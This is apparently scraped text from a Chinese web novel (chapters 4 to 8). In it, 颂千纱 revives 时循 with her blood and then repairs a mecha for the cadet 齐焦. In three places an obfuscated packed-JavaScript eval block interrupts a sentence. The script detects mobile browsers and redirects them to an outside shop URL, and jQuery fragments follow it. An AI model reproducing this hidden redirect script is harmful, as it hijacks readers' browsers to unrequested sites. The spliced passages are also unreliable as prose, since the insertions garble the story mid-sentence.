人群忽然陷入恐慌,一窝蜂地往后退。 唏嘘愧疚的声音逐渐消失,取而代之的是害怕被传染的哭喊。 声音一浪高过一浪。 她依稀听见有几个青年暗骂了几声。 颂千纱打横抱起时循瘦小的身体,转身就走。 血几乎瞬间染红了颂千纱半条裙子,原本灰扑扑的红裙被血浸透,血液向下蜿蜒,暗红很快吞噬了原本的颜色。 时循很轻,还没有机械臂重,颂千纱抱着她跑的很快。 颂千纱此刻才明白。 牺牲未必会被人歌颂。 很多时候,不发生在自己身上是不会痛的。 女孩依旧面无表情,脸上已经浮现出失血过多的灰白,她手伸进口袋,想要拿出什么,却没有力气。 心脏确实的地方有种难以言喻的空虚,眼中的世界出现灰白,她张着嘴用力呼吸。 “嗬……嗬……” 时循能看到的东西越来越窄,她的意识越来越模糊。 时循用仅存的意识,拼尽全力要对颂千纱说些什么。 颂千纱抱着她见状,把耳朵凑近。 “快……逃……” 颂千纱紧抿着唇,不让自己哭出声,可泪水更加汹涌,几乎打湿时循半个脸颊。 时循的触觉和味觉已经消失。 她只能模糊地感觉到,那红宝石般的眼睛在不断流出眼泪。 真爱哭啊。 颂千纱加速奔跑,使出了全力。 不停地扩大神识,寻找没人的隐蔽之处,但她已经感觉到,时循的身体愈发僵硬。 她听见自己的心脏一下下地跳动,越来越快,几乎要从嗓子里蹦出来。 但还是慢,太慢了。 她追不上时循死去的速度。 颂千纱只能颤抖着声音,用尽全力大喊,呼唤时循。 “时循!你别睡!” 她不知道自己除了喊,还能做什么。 时循几乎睁不开眼,颂千纱焦急地用下巴蹭着她的脸。 很快,她感觉到时循几乎没有呼吸了。 快一点,再快一点。 “别睡!马上就到了!你不会死!” “时循!!” 来不及了。 时循的呼吸断了。 泪水模糊了整个视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993592|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,耳朵嗡鸣,身体几乎不受控制地僵硬。 她脸色发白,踉跄着差点摔倒,脚下剧痛传来,但她没有停。 颂千纱紧绷着脸,站定在角落。 下一秒,角落红光大盛。 颂千纱抱着时循的尸体升空,她红色的双眸变得鲜亮,浑身散发着金红色的光芒,锁骨间的伴生纹由金变红。 绚烂的红金色光晕包裹住时循。 她的身体几乎顷刻被治愈,被咬掉的左手瞬间长好,连皮肤也变得亮白,原本面黄肌瘦的脸颊也饱满起来。 可她依旧闭着眼。 她的天赋不要钱一样不停地向时循倒去,可时循如睡着了一般。 颂千纱嘴唇泛白,几乎力竭。 她头靠在时循的胸膛,心中祈祷能听见响声。 胸膛依然静悄悄的。 没有一点响声。 颂千纱缓缓落地,瘫坐在地,不可置信地看向自己的双手。 时循死了。 她太慢了,还是太慢了。 颂千纱感觉到有什么堵在喉咙,从头顶冷到脚底。 她怔怔地看了时循,把自己蜷缩起来,眼神中带着些犹豫。 怎么办?她要赌人性吗? 赌时循会帮她保住秘密。 半晌,颂千纱下定决心。 她知道这意味着什么,这一刻不后悔就够了。 颂千纱的额间突然亮起一抹莲花形状的印记,眼睛变得鲜红。 下一刻,颂千纱忽然狠咬自己的指尖。 金红色的鲜血瞬间从大拇指喷涌而出,她摁在时循唇边。 即将离去的虫族像是感应到了什么一般,离开的速度突然快了一倍不止。 早已沦陷为虫族领地的克斯尔星忽然传来一阵阵虫族的嘶鸣。 似乎感应到了什么,地底埋藏的巨大的茧几不可闻地动了一下。 半分钟后,时循缓缓睁眼,嘴里的甜腥味异常明显。 她先是呆愣,后是止不住地惊讶,看向自己完好如初的左手。 时循的实力被虫族蚕食多年,身体早就快要崩盘,现在居然回到了巅峰。 时循忍不住扭了扭身体。 颂千纱看着她,大脑有一瞬间地空白。 终于活过来了。 半晌,她像是终于反应过来了一般,她对着时循扬起一个比哭还难看的笑脸,上前狠狠抱住时循哭出了声。 “太好……太好了……” 她的身体无法抑制地发抖,眼泪几乎浸湿时循整个肩膀。 时循面色沉重,她眉头蹙的快要打结,满腹疑问,但思虑半晌,还是咽了下去。 她想等颂千纱的身体不再那么颤抖。 角落很安静,只有颂千纱的抽泣声。 不知过了多久。 颂千纱慢慢平静了下来,她终于不再颤抖。 颂千纱蹙眉看着时循白里透红的脸颊,依旧不放心。 像是要最后确认什么,凑近听了听时循强而有力的心跳。 她终于松了一口气。 颂千纱此刻感觉浑身上下都分外粘腻,她低头看了看,终于意识到自己此刻有多么狼狈。 像是要找平衡一般,她看向时循。 原本几乎全身包裹的黑色便装如今变成了几块破布,稀稀拉拉地挂在身上。 颂千纱不禁笑出了声。 时循比她狼狈。 时循在此时开口。 她语气笃定,淡淡地盯着颂千纱大拇指上的伤口。 “你的血救活了我。” 话毕,时循目光沉沉,与她对视。 颂千纱的笑容瞬间凝固,身体定在原地。 5. 第 5 章 一瞬间她涌起了很多情绪,有恐惧,有胆怯,但就是没有后悔。 颂千纱沉默了良久,终于开口。 “并无。” 时循没有接话,只是死死盯着她的眼睛。 颂千纱微微侧头垂眸,避开她的视线,眼尾颤动的小扇子暴露了她的不安。 她还心存一点侥幸。 空气一度凝固。 半晌,时循突然站了起来。 “那就没有。” 时循回的轻描淡写。 她看向颂千纱,眼神如同一口幽深的古井。 “以后,我会保护你。” 她一如既往的面无表情,语气淡淡的,似乎这句话与平时交谈没什么区别。 但时循向来一诺千金。 “啊……啊?” 颂千纱抬头,一瞬间表情从紧张到震惊。 颂千纱考虑过很多种可能。 她想过会被追问,想过时循会贪婪,想过如何自保,甚至想过最坏的情况。 唯独没料到时循会这么轻易放过自己。 她连问都不多问一句。 颂千纱微微垂眸,身体已经十分疲惫,可心中却升起一股暖意,烘的她暖洋洋的,暖的她嘴唇都有了点点血色。 她嘴角却抑制不住地上扬,把头迈进膝盖,肩膀不住地抖动。 时循没注意颂千纱的动静,她用力呼吸了一口这里的空气。 时循脸上再无任何死气,黑色的眼瞳看向逐渐西沉的太阳,微微眯眼。 几乎每天这个时候,187星的人们都会收拾好自己一天拾荒的收获,回到家中避寒。 往日她会觉得冷,如今却不会。 时循率先迈开脚步,向颂千纱伸手。 “太阳快落山了,回家吧。” 颂千纱有些意外。 没料到她会主动拉自己,愣了愣,随即擦了一把脸上半干的泪痕,把手递向时循,借力站了起来。 她扬起明媚的笑脸,回答时循。 “好!” 颂千纱与时循并排走在回山洞的崎岖小径。 颂千纱看起来十分憔悴,脸色白的像鬼,可嘴巴却孜孜不倦。 时循倒是容光焕发,但她依旧面无表情,有一句没一句的应着颂千纱。 “吾想要找一个男子,他伤得很重,吾要尽快找到他。” “你说过了。” “但在这方天地吾没有寻到他的气息……” “那就换地方找。” “别处?” “换个星球找,我可以陪你。” “星球?何为星球?” “是我们生活的地方,天上的每颗星星都是一颗星球。” 颂千纱表情迷茫,像是抓住了是什么。 时循看向身边人,忍不住蹙眉,眼中尽是探究。 前方的路口突然变窄,一根长条的粗壮钢筋挡在二人前面,走在前面的瘦小身影微微低头走了过去。 “砰!” 颂千纱心不在焉,下一秒头就撞了个大包,一屁股坐在地上。 时循只听见一声脑门撞柱的巨响。 “……” 颂千纱甚至在地上弹了两下,才彻底在地上坐稳。 时循抱着臂转头停下,沉默等她缓过神。 半晌,颂千纱再次开口。 “另有许多星球?” “嗯,安全的只有几个。” 颂千纱的眼睛突然发出光亮,如红宝石一般璀璨。 她看向时循,脸色不再憔悴,整个人如同充满了气的气球,斗志昂扬,活力四射。 “吾要去别的星球!” “……” 时循站在原地等了半晌,重心从左腿移到右腿。 见面前人依旧没有任何移动的意思,她终于开口。 “……你站起来。” 颂千纱拍拍屁股站了起来,依旧兴奋。 “哦哦哦。” 颂千纱与时循回来时,那巨大的虫族尸体依旧躺在门口,仅是挪开了一个能进人的位置。 时循瞥见虫族的面部,眼神中闪过浓浓的震惊,她忍不住喃喃。 “王虫?” “嗯?” 颂千纱回头望向时循,时循摇了摇头,面色带着一丝凝重。 “进去吧。” 二人推门进屋,那个自称克林迪斯军校生的女人站在屋内,机械手臂在地上完好的放着,看起来没有被拆开过。 她手脚已经扎上绷带,正试图用完好的那只手把被砸凹的屋顶撑起来。 二人钉在原地看她表演千斤顶,一动不动。 颂千纱忍不住咂舌。 “……” 意识到两人的到来,她挠了挠头,爽朗一笑。 “不好意思啊,擅自进来了。” “主要你的机械臂放在我这,我也不好走,索性就进来了。” 时循看向颂千纱,眼神里带着疑惑。 颂千纱拍了拍额头,才想起来还有这件事,她开口道。 “我在门口碰见的,她说自己是克林迪斯军校生。” “后面我想起来去找你,机械臂太重了,我就就近放在她身边。” 时循在听见克林迪斯这几个字后,几不可闻地蹙了蹙眉,她看向女人开口。 “你可以放进屋后走。” 女人像是完全没意识道时循在赶人,她向时循咧嘴笑了笑。 “我其实机甲坏了,也没地方去。” “……” 她见二人没开口,可怜巴巴地眨了眨眼,双手合十,动作中带着请求。 “所以我想借住一段时间。” 颂千纱退了两步,转头看向时循,意思时循才是这里的主人。 时循辗转了两步,从包裹中拆出机械臂,蹲在地上组装了起来。 她低着头,看似不经意地问道。 “贵族军校生为什么来187星?” 女人听见贵族二字后毫不顾忌地翻了个白眼,开口道。 “我不是贵族军校生。” “当时在联盟里值班,听见了187星的警报。” 时循不置可否。 可一般能在联盟里上班的军校生,都非富即贵。 “听起来是见义勇为了,为了刷学院的个人积分?” 这话听起来十分刺耳。 女人挑了挑眉。 “不是。” 时循淡淡地撇了她一眼,手上动作不停。 颂千纱坐在二人中间。 她看向正在对峙的二人,莫名感觉这里的气压很低。 时循已经把机械臂组装穿戴好,淡淡看向她。 “哦?” 女人挺了挺胸脯,脸上带着自豪与洒脱,整个人的站姿如同公鸡预备打鸣一般。 她声音洪亮,脸上洋溢着自信,开始吟唱。 “作为克林迪斯二年级的尖子生,我看到人民有危难自然义不容辞!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993593|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我一马当先!” “王虫也死于我的枪下!” “……” 时循青筋跳了跳,依旧面无表情,穿戴着机械臂的手掌张开又合起。 颂千纱看出来了。 时循应该是手有点痒。 女人突然握住时循的双手。 “所以!能让我借住一段吗!我还可以保护你们!” 时循被这个双眼放光的女人吓得退后了两步,她忍不住蹙眉,看起来十分不适应肢体接触,把女人的手甩开。 “……就一晚。” 见时循同意,颂千纱红色眼睛笑得弯弯的,她走上前。 “你好,颂千纱。” 女人比颂千纱高半个头,肌肉饱满,小麦色皮肤,额角挂着伤,给她的眉眼平添了几分洒脱。 “你们好,齐焦,克林迪斯二年级机甲单兵。” 下一瞬,她像是忘了自己手上有伤似的,要抬起胳膊和二人握手,给自己疼得龇牙咧嘴,表情狰狞。 时循沉默地看着她做完一整套动作。 “……” 颂千纱观察着二人的反应,嘴角不住地上扬。 齐焦眨了眨眼,看向时循,等着她的自我介绍。 二人对视。 “…………” “………………时循。” 时循自报家门后不动声色退后两步。 女人听到时循名字怔了怔,像是想起了什么。 “时循?” 她喃喃了一会儿,再度看向时循,表情忽然变得莫测。 时循目光一沉,拉着她后退到自己身后,神色罕见得紧绷,进入备战状态。 “好酷!和我一样是两个字!” “……” 颂千纱瞥了眼时循。 时循的动作凝固了片刻。 齐焦看着二人嘿嘿一笑,看起来极其憨厚。 “既然我们都认识了,我也不藏着了。” 她真诚发问。 “这哪能偷治疗液?” “我的伤口有点深,学校白嫖的两管治疗液不太够。” 治疗液? 颂千纱咀嚼了一会儿,转头真诚地看向时循,眼神与齐焦如出一辙,真诚极了。 “……” 三人对视。 “别看我!” 时循的青筋跳了又跳。 她闭了闭眼,强忍双手莫名发痒冲动,咬着牙继续说。 “这里是垃圾星!怎么会有治疗液!” 颂千纱看着破防的时循,她又懂了。 有的话时循早就偷了,根本轮不到她们问。 齐焦撑着脸,颇为失落地说了声好吧,眉眼都耷拉下来,像打了霜的茄子。 颂千纱看着齐焦的样子,觉得有趣,她也十分遗憾地叹了口气。 时循看向颂千纱,脸色紧绷,青筋突突直跳。 “……” 时循忍了又忍,实在没忍住对颂千纱跳脚道。 “你遗憾个屁啊!” 颂千纱看着她的样子,忍不住笑出了声来。 颂千纱的脸色苍白,哪怕眼里的活力比往日要明朗许多,但憔悴的依旧明显。 时循淡淡地收回目光,从二人之间绕了过去。 “睡觉吧,时候不早了。” 话毕,她不管二人的动作,自己躺到了床上。 齐焦倒是十分自在,她听到睡觉二字后,她毫不讲究就地一躺,直接闭目。 6. 第 6 章 “……” 颂千纱歪了歪头,眼里全是对齐焦的好奇。 分明身在一个全然陌生、未知的环境,还能毫无顾忌地安然入睡。 她望着二人微微敛眸,面露沉思。 半晌,颂千纱向外走了两步。 月亮高高悬挂,刺骨的风呼呼地吹着她的发梢,虫族的尸体堵在门口,血迹干涸不久,还没有散发出糜烂的腐臭味。 倒是给屋子挡上了不少风。 她转身查看虫族尸体,与白天遇见的大多数虫族相似又不尽相同。 这具尸体除了比别的硕大以外,还有两处,一处是更为锋利尖长的尾巴,另一处并不明显,是它双眼中间的突起。 这股突起似乎是要渐渐长出什么图案,但尚未发育完全。 颂千纱看着虫族坚硬无比的外壳,敲了敲。 半晌,目光转向虫族的头部,凝眉陷入沉思。 她辗转观察了许久,轻手轻脚地走回屋内。 此时月亮独挂天空,已是深夜。 座椅嘎吱发出轻微响声。 二人皆已酣睡,轻微的声音让二人微微一动。 时循半坐起来,眼睛半睁,带着明显的惺忪,从枕头地下抽出一把刀。 刀尖嗡鸣,齐焦闻声迅速站起,进入备战状态。 似乎因为没睡醒,齐焦脸上罕见地没什么表情。 眉眼没有刻意上抬的情况下,颂千纱竟从她面相中看出一股如虎兽般的凶狠。 与初见时,她机甲作战时的样子倒是相似。 二人对视,分明都没完全睡醒,但动作与眼神里皆有杀意。 “不好意思,是吾坐下来时发出的声响。” 颂千纱尴尬地赔笑,连忙对着一触即发的二人摆手。 时循瞥了她一眼,收回刀倒头就睡。 齐焦也瞥她一眼,倒是挑了挑眉,对颂千纱来了一句。 “中二病啊?” 接着头枕着手臂,倒头就睡。 颂千纱歪了歪头,脸上带着一些困惑。 她仰靠在座椅上,看着今天被砸凹的屋顶,脸上的萎靡与疲态愈发明显,可她还是不愿休息。 右手搭在锁骨中央处不断摩挲着,像是要与身体的极限对抗,直到最后,败下阵来。 闭眼睡在椅子上。 再次睁眼是第二天下午。 她睡得并不好,眼底的阴影并没有减淡,给整个人增加了一丝憔悴的脆弱感。 居然睡在床上。 床边整齐地叠着一套衣物,起来像是外套,帽子很大。 颂千纱惊讶地眨了眨眼,往外看去。 外面有些声响,听起来像是在切割什么,颂千纱想要下地查看。 脚刚要触碰到地面又缩了回来。 无处下脚。 颂千纱环视全屋,周围的报废机甲手臂几乎占满整个房间。 齐焦四仰八叉地躺在地上,生无可恋地叹气。 “怎么了?” “没事……就是肝疼。” 齐焦的眼中有晶莹闪烁,状态萎靡。 这可是她贷款买的二手机甲,分了24期,刚用了两个月就报废了。 颂千纱看着齐焦沉痛的面色,嘴巴张了张,又闭上了。 她小心点地跳出屋内,往山洞外望了望。 原本挡住门口的巨虫被挪动至远处,时循正在切割虫子的尸体。 颂千纱稍悬的心放了下来,转身回屋,看向齐焦。 她蹦跳着闪身至齐焦身边,探出脑袋看着她,眼神亮晶晶的,像是璀璨的红宝石。 “能拿给吾看看吗?” 颂千纱忽然闯入视线,齐焦明显愣了一瞬,后立马染上一股痴意。 “你好漂亮啊……” 她目不转睛,眼神直直地看着颂千纱,一脸陶醉。 “能亲一口吗?” “……” 颂千纱忍不住咂舌,把脑袋移开齐焦的视线,但齐焦的视线像黏在身上似的,仅仅追着她。 “……” 下一秒一个易拉罐便打在齐焦额头上,力道不轻不重,正好把齐焦的头打偏过去。 “别那么下贱。” 时循从门口进来,手里托着不少材料,用脚随意一撩,给屋子空出一块净土,蹲在地上给材料分类。 齐焦摸了摸额头,坐了起来。像是脑子才过滤出颂千纱说什么一般,对着颂千纱嘿嘿一笑,手向前摆了摆。 “随便看,不过已经报废了。” 颂千纱经过齐焦同意后,在满地散落的零件中抬起手臂骨架。 其中被咬断的地方格外明显,骨架被整个切断,仅剩一些外皮堪堪连住两端。 时循转头看了眼颂千纱,提点道。 “可以先拆再试着组装,和书里差不多,这是低级机甲。” 低级二字直戳齐焦肺管。 她拍拍身子平静地躺在地上,神色安详,脸上露出淡淡死意。 听见时循的提议,颂千纱很快就开始了拆卸。 她第一次接触机甲,最开始有些生疏不得要领,但很快她愈发熟练。 拆卸完毕,重组对她来说并不难,可要让铁块变形这样的力气活却有些困住了颂千纱。 她拿着一块比她头还大的铁块学着时循之前的动作揉捏,分明附上了神识,捏起来却依旧困难。 她皱着脸苦思冥想了半晌,转头看向又拿了一堆材料进门的时循。 颂千纱开口问时循。 “捏不动应当如何?” 时循停下手里的动作,看了一眼颂千纱手里的铁块。 这铁块像是被踩了一脚的易拉罐。 她从床底的角落挑出一片眼球大的铁块放在掌中,坐在她身边示范。 “凝神,把全精神力汇聚于手中。” 时循把精神力聚于掌中,精神力由薄变厚,缓慢地展示给颂千纱观看。 铁块如橡皮泥般任意揉捏。 “就像这样。” 齐焦躺在地上眼睛都没睁,光听着就笑了出来。 “你说得这么简略,怎么可能学会?” 时循意味不明地瞥了一眼齐焦。 颂千纱歪了歪头。 精神力应该就是神识了。 她的红色眼睛徒然变得鲜亮,手中的精神力变厚。 接着轻轻一扯,铁块果然轻松变形。 她脸上是遮不住地惊喜,献宝似的对着时循挥了挥。 时循轻轻点头,转身再次开始分类材料。 她顿了顿,又像是想起什么似的,头又转了过来。 “你还可以试着用精神力排除杂质和定型。” 颂千纱正尝试着捏回铁块原本的形状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993594|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她脸转过去回应时循,眼睛却几乎黏在铁块上。 “应该怎么做?” 时循耸耸肩。 “我不会,我是机甲单兵。” 颂千纱捣鼓了一夜。 她兴趣浓厚,越做越兴奋,半路甚至问时循要了几块虫族的甲壳,让齐焦把整个机甲在屋外召唤出来让她维修。 机甲拆了一地。 看着颂千纱愈发浓厚的黑眼圈,时循几次欲言又止。 月色愈发明亮。 早已过了时循睡觉的时间,她把最后一批王虫材料帮颂千纱切好放在不远处。 等了半晌,颂千纱的唇色早已接近透明,时循忍不住想要开口。 话刚到嘴边,被睡了一觉的齐焦一把揽住,往屋里带。 脸上一如既往地没个正行。 “她看起来明显有心事。” “进屋睡觉吧。” 时循把齐焦揽住肩膀的手拍掉,时循深深瞥了她一眼,脚步却并未停止,与齐焦一同回到屋内。 太阳刚刚亮起,今天的太阳并不热烈,被云层厚厚地遮住了一层。 每天这个时候时循都会准点起床。 她刚睁眼,就见颂千纱苍白着脸,一脸兴奋地跑进来。 颂千纱在屋内站定,身体发晕,脚步悬浮,缓了两步才站稳。 时循眼神诧异要上前搀扶。 颂千纱摆了摆手,后立马向外指了指,意思让她出门查看。 时循顿了一瞬,抬脚出门查看。 齐焦背靠着墙,睡得正香,被人戳了戳脸颊。 齐焦骤然睁眼,发现是颂千纱后,不耐烦地打掉烦人的手指,转了个身,要接着睡。 “你的机甲修好啦!快醒醒。” “天大的事也别吵……” 她骤然睁大眼睛,眼睛还有些惺忪,可睡意瞬间消失,眉毛高高地提了起来,不可置信地看向颂千纱。 “?” 她看向颂千纱,手舞足蹈地比划,向她确认。 “修好了?” 颂千纱重重地点了点头,指了指外面,对着她扬起笑脸。 齐焦下一秒便出现在门口,身形快的像是闪现了。 颂千纱愣了一瞬,拿上时循给的衣服后跟着她后一步出去。 屋外,时循先一步爬上机甲试了起来。 加上了王虫身上的材料后,机甲的外形与之前大相径庭。 时循眼里满是震惊。 她对着空气挥了几拳,愣了愣,不信邪地似的更快速挥出几拳,后盯着自己掌心发愣。 机甲四肢坏掉的材料分明被替换成更廉价的金属,但操作界面显示硬度分毫未减,甚至力量更胜从前。 她忍不住松了松手臂,眼神里是止不住的兴奋。 时循恢复巅峰期后第一次摸机甲,想要看看这架机甲显示最强的力量。 她向地面狠狠砸上了一拳。 齐焦摸了摸新机甲光滑的外壳,眼神迷醉。 见时循玩的上瘾,心里更痒了。 她急不可耐地跳上去拍了拍驾驶舱。 “你快下来!让我试试!” 话音刚落,垃圾山像是不堪重负一般,轰隆一声巨响。 好的,山洞入口直接瘪了。 “……” 时循的身体僵在原地。 7. 第 7 章 齐焦连接了自己的光脑,抬步入驾驶舱,打开舱门挤了进来,一脸兴奋。 “感觉比以前还厉害啊!居然一拳就把入口打瘪了!” “让我试试。” “不要——” 时循尔康手。 齐焦脸上全是亢奋,挥向地面足足用了五成力。 “轰隆——” 一阵地动山摇后,山脉周围荡起一层厚厚的灰烬形成的雾。 下一瞬,地上裂开一个大坑,山洞周围的钢筋开始塌陷。 过了五分钟,山洞彻底泯灭。 尘土满地。 “……” “…………” 机甲的身形僵硬了片刻。 半晌后,颂千纱感觉到机甲明显缩了缩脖子。 紧接着,时循和齐焦就从机甲的驾驶舱下来了。 齐焦眼神飘忽,看起来心虚极了。 颂千纱看了一眼时循。 很好,脸色很臭。 齐焦把机甲收了起来,二人一前一后走着,全程一言不发。 齐焦向颂千纱挤眉弄眼。 “居然报废了也能改成一星机甲!” “你是哪个是哪个学校的高材生?怎么之前没听过你的大名?” 时循在山洞前站定,颂千纱与齐焦后她一步。 齐焦上前一把揽住颂千纱,眼神几乎放光。 颂千纱仅仅是惊鸿一瞥当初她与王虫的战斗,便看出了力量是她全身最为突出的优势。 这样的判断力需要极为丰富的战斗经验,或者极高的天赋。 手搭在身上的瞬间,颂千纱身体僵了僵。 还没等她反应,时循便已经一巴掌拍掉了齐焦的手,转头瞥了一眼齐焦。 “她自学的。” “自学?!” 齐焦的声音瞬间拔高。 她浑然不觉,表情有一瞬间凝固。 这样的天赋,齐焦平生仅见。 她不可置信地开口。 “她这是第几次做机甲?” 时循望向齐焦,嘴角带着笑意,向颂千纱扬了扬眉。 颂千纱挠了挠头。 “第二……次?” 她垂眸沉思片刻,添了一句。 “上次想要给时循做,吾看教科书里的所需的材料不够,便只做了机械臂。” “……” 齐焦被她的话雷的外焦里嫩。 “你的意思是,你没经过任何训练,仅仅凭借一本教科书就做出了一架一星机甲?” “那本教科书只有基础教学,最多只能做出基础机甲。” 时循站在旁边补了一句。 齐焦说不出话。 帝国天才众多,如过江之鲫。 可就算身在帝国多年,她也从未见过哪位天才在完全没有人教导的情况下,仅凭一本最基础的教科书,用更加廉价的材料做主干,做出一星机甲。 甚至她隐隐能感觉到,这架机甲她留了非常多可改进的位置。 齐焦根本顾不上吐槽颂千纱中二的说话方式。 她看着颂千纱的眼神分外严肃。 “你愿不愿意和我去帝都,入学克林迪斯学院?” 颂千纱看着齐焦正经的脸色有一瞬间的哑口,她下意识看向时循。 时循依旧面无表情地望着她,没有替她开口的意思。 颂千纱垂眸,眼尾的小扇子不断扇动。 “吾……” 空气一时凝固,二人皆在等待她的决定。 半晌,她深吸一口气,看向齐焦的眼神分外坚定。 “吾要去。” 时循看着她愈发坚定的眼神,嘴角微微扬起,某些深藏在眼底的东西借由她的决定淡了不少,她几乎是下一刻便开了口。 “我陪你。” 颂千纱悄悄舒一口气,对着时循眨了眨眼,相视一笑。 齐焦听见时循说完,眼神闪过一瞬间的惊讶。 但那情绪下一秒便消失,她看起来没心没肺的,笑嘻嘻地搂住时循。 “好啊!我们一起走吧!” “等等,先算账吧。” 时循再次打掉她的手,面无表情地转身,指了指山洞,对着齐焦手心向上。 “……” 齐焦的表情瞬间凝固,蹲在原地。 颂千纱忍不住哈哈哈大笑。 齐焦伸长脖子探头望了望那深坑,忍不住闭了闭眼,随后转头望向颂千纱二人,表情甚至比刚才邀请颂千纱来学院入学还要严肃。 “我没钱。” “……” 意思是要赖。 时循脸色更臭。 颂千纱抹了抹笑出来的眼泪,干咳了两声,她试探地拍了拍时循,问得很克制。 “你还好吧?” 她想了想,话在嘴边绕了两圈,又补充安慰道。 “让她用别的换?” 齐焦认同地点点头,在颂千纱身后站定,看向时循。 “我做什么都可以。” 干啥都行,就是没钱。 话音未落,就被时循瞥了一眼,齐焦一抖。 眼神如同锥子一样刺向齐焦。 齐焦的声音弱弱地颂千纱从身后飘出来。 “是你先动手的。” 颂千纱捧腹大笑。 时循木着脸,指节被捏的咔咔作响。 “好笑吗?咱们今晚住哪?” “……” 颂千纱默默收回龇着的大牙,责怪地瞥了一眼齐焦。 “……” 齐焦压力倍增,她沉默了半晌,提起眉毛理直气壮地质问颂千纱。 “退一万步来说,你就没错吗?” “我?” 颂千纱不可置信地指了指自己。 “要不是你做的太好了,我和时循就不会这么兴奋,也就不会把山洞打没了!” “我吗?” 颂千纱表情呆愣,指了指自己。 真是好大一口锅。 时循见状也绷不住,抿唇狂压嘴角。 “收拾收拾出发吧,今天应该正好有航行舰。” 时循干咳了几声,对二人说道。 话音刚落,她又瞥向齐焦,毫不客气地开口。 “不过我和她的学费,车费,你得帮我们想办法。” 齐焦不可置信地看了时循一眼。 “我想办法?!” “我们可是187星的土著难民。” 齐焦深深地望了眼时循。她眼神古怪,似乎滑过一丝错愕,但很快便被她掩藏起来。 时循抬头瞥了一眼齐焦后便在地上收拾着虫族残骸,仔细寻找是否有遗落。 颂千纱指了指残骸的脑门,示意时循往下挖。 时循用力一挖,虫族从额头里流出一股汩汩流出黑蓝色液体。 “快,装起来!” 时循环视一周,没找到什么能装的瓶状物。 她不知从哪摸出一块铁,交给颂千纱。 颂千纱会意,接过后立马做成一个可密封的瓶子,递了过去。 “你怎么发现的?” 时循蹙着眉。 这是极其稀有的蓝冥虫金,几十只皇虫都未必能开出一只,数 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但颂千纱没看出什么,她奇怪的歪了歪头。 “已经收拾好了哦。” “好。” 齐焦回神,对颂千纱笑了笑。 “等我两分钟。” 接着,她从口袋里掏出一个破旧的光脑,举过头顶,把背后的山脉和身后的二人都拍了进去。 齐焦单手比耶,咧着嘴。 “看这里。” 天光还没大亮,光脑自动识别暗度,亮起闪光灯,吓了颂千纱一跳。 她蹿到时循身后,只露出半只眼睛,看向齐焦。 时循倒是不闪不避,依旧一副面无表情地样子,目光深沉的看着光脑。 相片里照下三人。 齐焦满意地扬起嘴角,欣赏了半天才收起光脑,转头望向二人。 “咔嚓——” 画面定格。 齐焦恢复往日的爽朗,收起光脑拎起行李。 “走!出发!” 颂千纱走在前面,蹦蹦跳跳地,状态看起来十分兴奋。 “好耶!吾要离开这里啦!” 时循站在原地看着她,齐焦跟了两步,见时循没动,也停下了。 她刚停下就听见时循扬声道。 “颂千纱,你走反了。” “啊?” 颂千纱背影僵住,低着头跟在时循后面,惹得齐焦哈哈大笑,连时循也忍俊不禁。 三人的速度比常人快很多,就算一路插科打诨,也几乎只用两个小时就快要到基站了。 天空蒙着一层灰色,没有太阳的情况下寒风凌冽,气温低至零下,呼啸的风吹过脸颊,割的人生疼。 齐焦与时循看起来丝毫未受到影响,只是眉毛微微结霜。 颂千纱跺了跺不合脚的鞋,用时循给她准备好的斗篷遮住整个头部,踩着前面时循的脚印,走在二人中间。 她直到现在才恍然惊觉,这路并不好走。 崎岖,狭窄,陡峭,一不留神还会摔倒。 可第一次走在这里,寻找胤允的下落时,她几乎完全没注意。 “等等,前面有人。” 三人同时放慢脚步,不远不近地跟着。 一位中年男人走在前面开路,女儿踟蹰地跟在后面,佝偻着身躯。 二人看起来像两个行走的骨架,瘦弱极了。 8. 第 8 章 稍显浑浊的天空忽然飘了几滴细小的雨,小到只是微微打湿了衣衫。 颂千纱有一瞬间的恍惚。 走在中年男人身后的女孩与时循差不多高。 女孩脸色苍白又蜡黄,眼睛半睁着,走的很勉强,像一朵营养不良的花骨朵,风再大一些就可能会把她拦腰折断。 她下意识望向时循。 时循走在最前面开路,身体瘦弱,神色却与女孩大相径庭。 她似乎不管何时都那么沉静,眼神中带着一种难以形容的坚毅。 颂千纱笑了笑,眼神回到女孩身上。 时循瞥了眼颂千纱。 她像是想起了什么,手下意识摸了下口袋,望向颂千纱。 “一会儿还你个东西。” “什么?” “你的东西。” 颂千纱转头,面露疑惑。 “什么东西啊?” 齐焦勾着唇角凑近二人,眼神一溜一溜地转,像是发现了二人之间的秘密。 时循瞥了一眼齐焦就走,一个表情都不留。 